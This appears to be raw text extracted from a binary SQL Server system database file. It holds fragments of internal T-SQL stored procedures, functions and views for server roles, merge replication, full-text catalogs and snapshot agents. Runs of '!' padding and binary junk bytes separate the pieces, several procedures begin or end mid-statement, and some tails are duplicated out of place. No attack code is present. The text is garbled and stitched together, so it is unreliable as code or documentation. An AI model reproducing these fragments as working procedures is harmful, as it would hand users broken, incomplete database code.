!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ATE GIVEN NAME
		if not exists (select * from sys.server_principals
				where name = @srvrolename and principal_id >= suser_id('sysadmin') and principal_id <= suser_id('bulkadmin'))
		begin
			raiserror(15412, -1, -1, @srvrolename)
			return (1)
		end

		-- RESULT SET FOR SINGLE SERVER-ROLE
		select 'ServerRole' = SUSER_NAME(rm.role_principal_id), 'MemberName' = lgn.name , 'MemberSID' = lgn.sid
			from sys.server_role_members rm, sys.server_principals lgn
			where rm.role_principal_id = SUSER_ID(@srvrolename) AND
				  rm.member_principal_id = lgn.principal_id
	end
	else
	begin
		-- RESULT SET FOR ALL FIXED SERVER-ROLES
		select 'ServerRole' = SUSER_NAME(rm.role_principal_id), 'MemberName' = lgn.name, 'MemberSID' = lgn.sid
			from sys.server_role_members rm, sys.server_principals lgn
			where rm.role_principal_id >=3 AND rm.role_principal_id <=10 AND
				  rm.member_principal_id = lgn.principal_id
	end

    return (0) -- sp_helpsrvrolemember
0k 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_node_access_stats as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_node_access_stats
0Fu 	8
create function sys.fn_IsBitSetInBitmask
(@bitmask varbinary(500), @colid int)
    returns int
as
begin
    declare @word smallint
    declare @bit  smallint
    declare @mask binary(2)
    declare @mval int
    declare @oldword binary(2)  

    if @colid < 1 return 0

    SELECT @word = 1 + FLOOR((@colid -1)/16)

    SELECT @bit = (@colid -1) % 16

    SELECT @mval = POWER(2, @bit)
    SELECT @mask = convert( binary(2), unicode( substring( convert( nchar(2), convert( binary(4), @mval ) ), 2, 1 ) ) )
    
    SELECT @oldword = convert( binary(2), SUBSTRING( convert( nvarchar(64),@bitmask), @word, 1) )
    IF @oldword IS NULL return 0

    return  convert( smallint, @oldword ) & convert( smallint, @mask )
end
0c
@ 8
create procedure sys.sp_MSgenreplnickname
    @srcguid        uniqueidentifier,
    @replnick        varbinary(6) output,
    @compatlevel    int = 10    -- backward compatibility level, default=Sphinx
as
    declare @maxlevel int

    select @maxlevel= sys.fn_MSgetmaxbackcompatlevel()
    if @compatlevel > @maxlevel
        set @maxlevel= @compatlevel

    -- we neither want duplicate replnicks, nor those that are between 0x010000000000 and 0xFF0000000000 (used for mergenicks)
    --
    -- if no publication requires at least Yukon compatibility, the last 2 bytes of the
    -- generated nickname have to be 0x0000.

    while 1=1
    begin
        if @maxlevel >= 80
            set @replnick= cast(reverse(substring(convert(binary(16), @srcguid),1,6)) as binary(6))
        else
            set @replnick= cast(reverse(substring(convert(binary(16), @srcguid),1,4)) as binary(4)) + 0x0000

        -- Values 0..255 are reserved for merge nicknames
        if substring(@replnick,2,5) = 0x0000000000 and
           substring(@replnick,1,1) > 0x00 and 
           substring(@replnick,1,1) <= 0xFF
        begin
            set @srcguid= newid()
            continue
        end

        -- Do not use existing nicknames from neither hws nor lws
        if object_id('dbo.sysmergesubscriptions', 'U') is not null
        begin
            if exists (select replnickname from dbo.sysmergesubscriptions where replnickname = @replnick)
            begin
                set @srcguid= newid()
                continue
            end
        end
        -- When we get here, the generated nickname is okay.
        break
    end
0m@ (8
--
-- Name:    
--          sp_IHquery
--          
-- Description: 
--          Executes query stored in temp table #hquery
--			against specified linked server
--  
-- Security:
-- 	Internal
--
-- Returns:
--          Error code
--      
-- Owner:   
--          acarter
--
-- Notes:
--			Requires temp table with following definition:
--				create table #hquery(seq int identity(2,1), cmd nvarchar(4000))
--

CREATE PROCEDURE sys.sp_IHquery
(
	@linkedserver	sysname
)
AS
BEGIN
	declare @retcode	int,
			@command	varchar(4096),
			@dbname		sysname

	SET NOCOUNT ON 

	SELECT	@retcode = 0,
			@dbname  = db_name()

	-- Verify publisher linked server login exists
	EXEC @retcode = sys.sp_IHCheckPublisherLogin @publisher = @linkedserver OUTPUT
	IF @retcode != 0
	BEGIN
		RETURN (@retcode)
	END

	-- Validate #hquery table exists and no invalid entry
	IF object_id('tempdb..#hquery', 'U') IS NULL
	OR EXISTS
	(
		SELECT	*
		FROM	#hquery
		WHERE	seq = 0
	)
	BEGIN
        RAISERROR(8624, 16, -1)
		RETURN 1
	END

	-- Prepare quotes for embedded exec
	UPDATE #hquery
	SET cmd = REPLACE(cmd, '''', '''''')
	
	-- Inject execute wrapper fragments
	SET IDENTITY_INSERT #hquery ON
	INSERT INTO #hquery (seq, cmd) VALUES (1, N'execute (N''')
	SET IDENTITY_INSERT #hquery OFF
	INSERT INTO #hquery (cmd) VALUES (N''') at ' + QUOTENAME(@linkedserver))

	-- Execute query
	EXEC @retcode = sys.sp_IHexecresultset N'SELECT cmd FROM #hquery ORDER BY seq', @dbname

	RETURN @retcode
END
0y@ 8
create procedure sys.sp_MSmerge_getgencur (
    @tablenick int, -- tablenick for gen
    @changecount int, -- number of changes to put in gen
    @gen_cur bigint output
)
as
begin
    set nocount on
    declare @gen_change_threshold int
    declare @max_changecount int
    --declare @GENSTATUS_OPEN tinyint
    declare @replnick binary(6)
    declare @nickbin varbinary(255)
    declare @retcode int

    select @gen_cur = NULL
    --select @GENSTATUS_OPEN = 0

    if @changecount is NULL
        select @changecount = 0

    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 return NULL
    
    -- add a guard byte
    set @nickbin= @replnick + 0xFF

    if (@changecount > 0)
    begin
        select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
            where pubid in (select pubid from dbo.sysmergearticles where nickname = @tablenick)
        if @gen_change_threshold = 0
            select @max_changecount = NULL
        else
            select @max_changecount = @gen_change_threshold-@changecount

    end
    else
        select @max_changecount = NULL

    if @max_changecount is not NULL
        select top 1 @gen_cur = generation from dbo.MSmerge_genhistory with (updlock, readpast, rowlock) 
            where genstatus = 0
                and changecount <= @max_changecount
                and art_nick = @tablenick 
    else
        select top 1 @gen_cur = generation from dbo.MSmerge_genhistory with (updlock, readpast, rowlock) 
            where genstatus = 0
                and art_nick = @tablenick 

    if @gen_cur is NULL
    begin
        insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
              values  (newid(), 0, @tablenick, @nickbin, getdate(), 0)
        select @gen_cur = @@identity
    end
    
    return 0
end
eplnick)
            begin
                set @srcguid= newid()
                continue
            end
        end
        -- When we get here, the generated nickname is okay.
        break
    end
0G 88b0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!3^Iq`>&<ˑ0 y8create procedure sys.sp_help_fulltext_tables_cursor
	@cursor_return CURSOR VARYING OUTPUT,
	@fulltext_catalog_name		sysname = NULL, 		-- full-text catalog name
	@table_name nvarchar(517) = NULL	-- table name
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

    -- get current db name
	declare @curdbname sysname
	select @curdbname = db_name()

	-- CATALOG MUST EXIST IF SPECIFIED --
	declare @ftcatid smallint
	if @fulltext_catalog_name is not null
	begin
		select @ftcatid = fulltext_catalog_id from sys.fulltext_catalogs where name = @fulltext_catalog_name
		if @ftcatid is null
		begin
			declare @curdbnamelen int
			select @curdbnamelen = LEN(@curdbname)
			raiserror(7641,-1,-1,@fulltext_catalog_name, @curdbnamelen, @curdbname)
			return 1
		end
	end

	if @table_name is not null
	begin
		-- VALIDATE TABLE NAME --
		--	(1) Must exist in current database
		declare @objid int
		select @objid = object_id(@table_name, 'local')
		if @objid is null
		begin
			raiserror(15009,-1,-1 ,@table_name, @curdbname)
			return 1
		end
		--	(2) Must be a user table or indexed view (and not a temp table)
		if (ObjectProperty(@objid, 'IsUserTable') = 0 AND (ObjectProperty(@objid, 'IsView') = 0 OR ObjectProperty(@objid, 'IsIndexed') = 0 )) OR 
		    substring(parsename(@table_name,1),1,1) = '#'
		begin
			raiserror(15218,-1,-1 ,@table_name)
			return 1
		end
	end

	-- We are using schema owner as table owner now. Check with garish for their decision on using schema owner 
	-- in place of table owner for backward compatibility issue. 
	set @cursor_return =	CURSOR LOCAL SCROLL STATIC FOR
		select  ssche.name as TABLE_OWNER,
			sobj.name as TABLE_NAME,
			sidx.name as FULLTEXT_KEY_INDEX_NAME,
			sidxcol.column_id as FULLTEXT_KEY_COLID,
			sftidx.is_enabled as FULLTEXT_INDEX_ACTIVE,
			scat.name as FULLTEXT_CATALOG_NAME
		from    sys.objects as sobj WITH(NOLOCK) -- the nolock is to not block while crawl or master merge is creating fragments
			join sys.fulltext_indexes as sftidx on (sobj.object_id = sftidx.object_id)
			join sys.indexes as sidx on(sftidx.unique_index_id = sidx.index_id and sftidx.object_id = sidx.object_id)
			join sys.schemas as ssche on (sobj.schema_id = ssche.schema_id)
			join sys.index_columns as sidxcol on (sftidx.object_id = sidxcol.object_id and sftidx.unique_index_id = sidxcol.index_id)
			left outer join sys.fulltext_catalogs as scat on (scat.fulltext_catalog_id = sftidx.fulltext_catalog_id)
		where(
				@fulltext_catalog_name is null or
				sftidx.fulltext_catalog_id = @ftcatid
			 ) and
			 (
				@table_name is null or
				sobj.object_id = @objid
			 )
			
		order by TABLE_OWNER, TABLE_NAME

	open @cursor_return

	-- SUCCESS --
	return 0	-- sp_help_fulltext_tables_cursor
0( 8
create procedure sys.sp_usertypes_rowset
(
    @type_name      sysname,
    @type_schema    sysname = null
)
as
    select
        UDT_CATALOGNAME         = db_name(),
        UDT_SCHEMANAME          = schema_name(u.schema_id),
        UDT_NAME                = convert(sysname,u.name),
        UDT_ASSEMBLY_TYPENAME   = u.assembly_qualified_name
    from
        sys.assemblies a inner join
        sys.assembly_types u on
            (
                a.assembly_id = u.assembly_id
            )
    where
        u.name = @type_name and
        (@type_schema is null or @type_schema = schema_name(u.schema_id))
    order by 1, 2, 3
0$ 	8create procedure sys.sp_MSenum_distribution_s
(
    @name nvarchar(100), 
    @hours int = 0, /* @hours < 0 will return TOP 100 */
    @session_type int = 1 /* Return all sessions */
)
as
begin
    set nocount on

    declare @notstarted int
    	,@succeed int
		,@retry int
		,@failure int
		,@min_time datetime
		,@agent_id int

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    /* 
    ** Status const defined in sqlrepl.h 
    */
    select @notstarted = 0
    		,@succeed = 2
            ,@retry = 5
            ,@failure = 6
            ,@min_time = NULL

    select @agent_id = id 
	    from MSdistribution_agents 
	    where name = @name
	
    --
    -- Check @hours
    -- return top 100 rows if < 0
    -- return session later than if > 0
    --
    if @hours < 0
        set rowcount 100
    else if @hours > 0
        select @min_time = dateadd(hour, -@hours, getdate())
    --
    -- enumerate the sessions now
    --
    select rh.runstatus, 
            'start_time' = sys.fn_replformatdatetime(rh.start_time), 
            'time' = sys.fn_replformatdatetime(rh.time), 
            rh.comments, rh.duration, 
            rh.delivery_rate,
            rh.delivery_latency,
            0, /*delivery_time */   
            rh.delivered_transactions, rh.delivered_commands, rh.average_commands, 
            'action_count' = hs.action_count,
            rh.error_id
	    from MSdistribution_history rh with (READPAST) 
	    	join (select agent_id, 
						start_time, 
						count(start_time) as action_count, 
						max(timestamp) as max_timestamp 
					from MSdistribution_history with (READPAST)
					where agent_id = @agent_id
						and runstatus != @notstarted
						and comments not like N'<stats state%'	
						and (@session_type = 1
							or runstatus = @failure)
					group by agent_id, start_time) as hs
	    	on rh.agent_id = hs.agent_id
	    		and rh.start_time = hs.start_time
	    		and rh.timestamp = hs.max_timestamp
		-- if min time is specified then return sessions after that 
	    where @min_time IS NULL 
	    	or time >= @min_time
	    order by timestamp desc
    --
    -- all done
    --
    return 0
end
            = s_pp.SS_UDT_ASSEMBLY_TYPENAME
    from
        sys.fn_procedure_params_90_rowset(
          @procedure_name,
          @group_number,
          @procedure_schema,
          @parameter_name) s_pp

    order by 2, 3, 5
    option (OPTIMIZE CORRELATED UNION ALL)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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
	SELECT 
		transaction_id,
		database_id,
		database_transaction_begin_time,
		database_transaction_type,
		database_transaction_state,
		database_transaction_status,
		database_transaction_status2,
		database_transaction_log_record_count,
		database_transaction_replicate_record_count,
		database_transaction_log_bytes_used,
		database_transaction_log_bytes_reserved,
		database_transaction_log_bytes_used_system,
		database_transaction_log_bytes_reserved_system,
		database_transaction_begin_lsn,
		database_transaction_last_lsn,
		database_transaction_most_recent_savepoint_lsn,
		database_transaction_commit_lsn,
		database_transaction_last_rollback_lsn,
		database_transaction_next_undo_lsn
	FROM OpenRowset(TABLE DATABASE_TRANSACTIONS)
0!z@ 8create procedure sys.sp_MScreate_replication_checkup_agent
@heartbeat_interval int = 10    -- minutes
as
    declare @command nvarchar(100)
    declare @retcode int
    declare @interval int
    declare @job_name nvarchar(100)
    declare @description nvarchar(100)
    declare @category_name sysname

    select @command = 'sys.sp_replication_agent_checkup @heartbeat_interval = ' +
        convert(nvarchar(10), @heartbeat_interval)      
        
    -- Create job if it already exists
    select @job_name = formatmessage(20533)

    IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE name = @job_name collate database_default and
        UPPER(originating_server collate database_default) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
        and master_server = 0)
    BEGIN
        EXEC @retcode = sys.sp_MSdrop_repl_job @job_name = @job_name
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)            
        END
    END

    -- Create new job
    set @interval = convert(int, @heartbeat_interval)
    set @description = formatmessage(20534)

    -- Get Checkup category name (assumes category_id = 16)
    select @category_name = name FROM msdb.dbo.syscategories where category_id = 16
    EXECUTE @retcode = sys.sp_MSadd_repl_job 
            @name = @job_name,
            @subsystem = 'TSQL', 
            @enabled = 1, 
            @command = @command,
            @description = @description,
            @freqtype = 4,
            @freqinterval = 1,
            @freqsubtype = 4,
            @freqsubinterval = @interval,
            @retryattempts = 0,
            @category_name = @category_name
    if @@ERROR <> 0 or @retcode <> 0
        return (1)
0kz@ T8create procedure sys.sp_MSdrop_sctres
as
begin
   if object_id(N'sys.sp_changetracking_remove_tran', 'P') is not null
		drop procedure sys.sp_changetracking_remove_tran
   
   if object_id(N'sys.sp_changetracking_time_to_csn', 'P') is not null
		drop procedure sys.sp_changetracking_time_to_csn
end
'
			BEGIN
				-- '@publisher_login cannot be null or empty when @publisher_security_mode is set to 0 (SQL Server authentication).'
				RAISERROR(21694, 16, -1, '@publisher_login', '@publisher_security_mode')
				RETURN 1
			END
		END
		
		-- if the snapshot login was supplied it must be valid
		IF @job_login IS NOT NULL
		BEGIN
			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_changepublication_snapshot'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_changepublication_snapshot')
				RETURN 1
			END
		END
	END
	-- HETERO
	ELSE
	BEGIN
		IF @publisher_security_mode IS NOT NULL
		BEGIN
			-- The @publisher_security_mode parameter value can not be updated/changed for heterogeneous publications.
			RAISERROR(22536, 16, -1, '@publisher_security_mode')
			RETURN 1
		END

		IF @publisher_login IS NOT NULL
		BEGIN
			-- The @publisher_login parameter value can not be updated/changed for heterogeneous publications.
			RAISERROR(22536, 16, -1, '@publisher_login')
			RETURN 1
		END

		IF @publisher_password IS NOT NULL
		BEGIN
			-- The @publisher_password parameter value can not be updated/changed for heterogeneous publications.
			RAISERROR(22536, 16, -1, '@publisher_password')
			RETURN 1
		END

		/*
		** In this case we will allow @job_login to be changed only if the 
		** publisher_security_mode was set to 0 when the distpublisher was 
		** configured. Error is raised in sp_MSchange_snapshot_agent_properties.
		*/
		-- IF @job_login IS NOT NULL
		-- BEGIN
		-- 	-- The @job_login parameter value can not be updated/changed for heterogeneous publications.
		-- 	RAISERROR(22536, 16, -1, '@job_login')
		-- 	RETURN 1
		-- END
	END
	
	-- retrieve the distributor db information
    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
    										@distribdb = @distribution_db OUTPUT,
    										@publisher = @publisher
	IF @@ERROR <> 0 OR @retcode <> 0 OR @distribution_db is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR (20036, 16, -1)
		RETURN 1
	END

	SELECT @distproc = QUOTENAME(@distributor_rpc) + '.' + QUOTENAME(@distribution_db) + '.sys.sp_MSreplagentjobexists'
	EXEC @retcode =  @distproc @type = 3,
								@exists = @snapagent_exists OUTPUT,
								@proxy_id = @proxy_id OUTPUT,
								@publisher = @publisher,
								@publisher_db = @publisher_db,
								@publication = @publication
	IF @retcode <> 0 OR @@ERROR <> 0
		RETURN 1

	-- EXIT if NOT FOUND
	IF @snapagent_exists = 0
	BEGIN	
		-- "The snapshot agent for publisher (%s), database (%s), publication (%s) could not be found."
		RAISERROR(21799, 16, -1, 'snapshot', @publisher, @publisher_db, @publication)
		RETURN 1
	END

	IF IS_SRVROLEMEMBER('sysadmin') != 1
		AND @proxy_id IS NULL
	BEGIN
		-- Only members of the sysadmin fixed server role can modify a snapshot agent that does not have a job with a proxy account defined.
		RAISERROR(20813, 16, -1, 'snapshot agent')
		RETURN 1
	END	
	
	SELECT @distproc = QUOTENAME(@distributor_rpc) + '.' + QUOTENAME(@distribution_db) + '.sys.sp_MSchange_snapshot_agent_properties'
  	EXEC @retcode = @distproc @publisher						= @publisher,
								@publisher_db					= @publisher_db,
								@publication					= @publication,
								@frequency_type					= @frequency_type,
							    @frequency_interval				= @frequency_interval,
							    @frequency_subday				= @frequency_subday,
							    @frequency_subday_interval		= @frequency_subday_interval,
							    @frequency_relative_interval	= @frequency_relative_interval,
							    @frequency_recurrence_factor	= @frequency_recurrence_factor,
							    @active_start_date				= @active_start_date,
							    @active_end_date				= @active_end_date,
							    @active_start_time_of_day		= @active_start_time_of_day,
							    @active_end_time_of_day			= @active_end_time_of_day,
							    @snapshot_job_name				= @snapshot_job_name,
								@publisher_security_mode		= @publisher_security_mode,
								@publisher_login				= @publisher_login,
								@publisher_password 			= @publisher_password,
								@job_login						= @job_login,
								@job_password					= @job_password,
								@publisher_type					= @publisher_type
				
    IF @retcode <> 0 OR @@ERROR <> 0 
        RETURN 1
	
	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&%`	i<"P0@ ~8CREATE VIEW sys.dm_os_virtual_address_dump AS
	SELECT *
	FROM OpenRowset(TABLE SYSVADUMP) 
0pɣ 0
8--
-- Name: sp_MSgetpartitionsnapshotfolder
--
-- Description: This function mimics the snapshot agent to get
--              the snapshot folder for a given publication 
--                
-- Parameters:  @publisher  sysname
--
-- Returns: nvarchar(255)
--
-- Security: 
-- Requires Certificate signature for catalog access
--
-- This is an internal function
--
create procedure sys.sp_MSgetpartitionsnapshotfolder(
    @publication sysname,
    @suser_sname sysname,
    @host_name sysname,
    @partition_id int,
    @snapshot_folder nvarchar(255) OUTPUT)
as
begin
    declare @snapshot_folder_long nvarchar(4000)
    declare @working_dir nvarchar(400)
    declare @retcode int
    declare @enabled_for_internet bit
    declare @snapshot_in_defaultfolder bit
    declare @shellcommand nvarchar(4000)
    declare @publisher sysname
    declare @publisher_db sysname

    select @publisher = publishingservername()
    select @publisher_db = db_name()

    if not exists (select pubid from dbo.sysmergepublications 
        where UPPER(publisher) collate database_default = UPPER(@publisher) collate database_default 
            and publisher_db = @publisher_db and name = @publication)
	begin
		RAISERROR (20026, 16, -1, @publication)
		return (1)
	end

    -- first check if the publication has an alternate snapshot folder
    -- if so use that.
    select @working_dir = alt_snapshot_folder, 
             @enabled_for_internet = enabled_for_internet, 
             @snapshot_in_defaultfolder = snapshot_in_defaultfolder from dbo.sysmergepublications
    where publisher = @publisher and publisher_db = @publisher_db and name = @publication

    if @working_dir is null or @working_dir = ''
    begin
        exec @retcode = sys.sp_helpdistributor @directory = @working_dir output
        if @@error<>0 or @retcode<>0 or @working_dir is NULL
            return 1 
    end

    -- determine whether to use unc or ftp subdir. This is based on the "enabled_for_internet" property of
    -- the publication
    if @enabled_for_internet = 0
        select @snapshot_folder_long = @working_dir + '\unc\' + 
                 sys.fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication,1) collate database_default
    else
        select @snapshot_folder_long = @working_dir + '\ftp\' + 
                 sys.fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication,1) collate database_default

    set @snapshot_folder_long = @snapshot_folder_long + '\'
    
    if (len(@snapshot_folder_long) > 229)
        set @snapshot_folder = sys.fn_replgenerateshorterfilenameprefix(@snapshot_folder_long, 229)
    else
        set @snapshot_folder = @snapshot_folder_long

    -- append the partition information to the folder name in order to get a unique name
    set @snapshot_folder = @snapshot_folder + sys.fn_replcomposepartitionfolder(@suser_sname, @host_name, @partition_id) collate database_default + N'\'


    /*
    select @shellcommand = N'if not exist "' + @snapshot_folder + 
                               N'" mkdir "' + @snapshot_folder + N'"'
    exec @retcode = master.dbo.xp_cmdshell @shellcommand, no_output
    if @@error<>0 or @retcode<>0 
    begin 
        return 1
    end
    */
    return 0
end
0@ 	8
create procedure sys.sp_MSupsertschemachange(
    @pubid          uniqueidentifier,
    @artid          uniqueidentifier = NULL, /* Can be NULL for directory commands */
    @schemaversion  int,
    @schemaguid     uniqueidentifier,
    @schematype     int,
    @schematext     nvarchar(2000)
    )
as
    /*
    ** Check to see if current publication has permission
    */
    declare @retcode int

    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSupsertschemachange')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    /* Parameter validation */
    if (@schemaversion is null)
        begin
        RAISERROR(14043, 16, -1, '@schemaversion', 'sp_MSupsertschemachange')
        return (1)
        end

    if @artid is NULL
        update dbo.sysmergeschemachange set schemaversion = @schemaversion, schemaguid = @schemaguid
            where pubid = @pubid 
            and schematype = @schematype 
            and schematext = @schematext
    else
        update dbo.sysmergeschemachange set schemaversion = @schemaversion, schemaguid = @schemaguid
            where pubid = @pubid 
            and artid = @artid
            and schematype = @schematype 
            and schematext = @schematext
    
    if @@rowcount = 0
    begin
        exec @retcode = sys.sp_MSinsertschemachange @pubid=@pubid, @artid=@artid, @schemaversion=@schemaversion,
                                                    @schemaguid=@schemaguid, @schematype = @schematype,
                                                    @schematext=@schematext
        if @@error<>0 or @retcode <> 0
                return 1
    end
    else
    begin
        declare @subid uniqueidentifier
        
        select @subid = subid from dbo.sysmergesubscriptions 
            where UPPER(subscriber_server) collate database_default = UPPER(publishingservername()) collate database_default
               and db_name = DB_NAME() and pubid = @pubid

        update dbo.sysmergesubscriptions set schemaversion = @schemaversion, schemaguid = @schemaguid 
            where subid = @subid and (schemaversion<@schemaversion or schemaversion is NULL)
        if @@error <> 0     
        begin
            RAISERROR(21305 , 16, -1)
            return (1)
        end
    end
    return (0)
eck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		return (1)

	/* make sure current database is enabled for merge replication */
	exec @retcode=sys.sp_MSCheckmergereplication
	if @@ERROR<>0 or @retcode<>0
		return (1)

	select @pubid = pubid from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
	if @pubid is NULL
	begin
		raiserror (20026, 16, -1, @publication)
		return (1)
	end
	if @level <1 or @level > 3
	begin
		raiserror(21184, 16, -1, '@level', '1', '2','3')
		return (1)
	end

    select @subid = NULL
    select @subid = subid from dbo.sysmergesubscriptions where pubid=@pubid and db_name=@subscriber_db and 
	          UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
	if @subid is NULL
	begin
		raiserror(14055, 16, -1)
		return (1)
	end


	update dbo.MSmerge_replinfo 
	    set validation_level=@level 
	    where repid = @subid
	if @@ERROR<>0
		return (1)
	return (0)

 of the temp table to present
    -- the formatted queue name
    --
    select     N'DIRECT=OS:' + queue_server + N'\PRIVATE$\' + queue_id AS 'queue_format'
            ,dist_db
    from #replqueue
    
    --
    -- cleanup
    --
    drop table #replqueue
end
0!@ Q8CREATE PROCEDURE sys.sp_createmergepalrole (@publication sysname)
AS
BEGIN
    set nocount on
    declare @retcode int

    -- security check done in here
    exec @retcode = sys.sp_createpalrole @publication = @publication, @mode = 0
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
END
0Y) D8Rh90k 88G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!F\`l8	<WQ"p0( Q8 
-- add it
create view sys.dm_pdw_nodes_tran_session_transactions as
select 
session_id,
transaction_id,
transaction_descriptor,
enlist_count,
is_user_transaction,
is_local,
is_enlisted,
is_bound,
open_transaction_count,
convert(int, null) pdw_node_id from sys.dm_tran_session_transactions
0= a8create procedure sys.sp_addrole
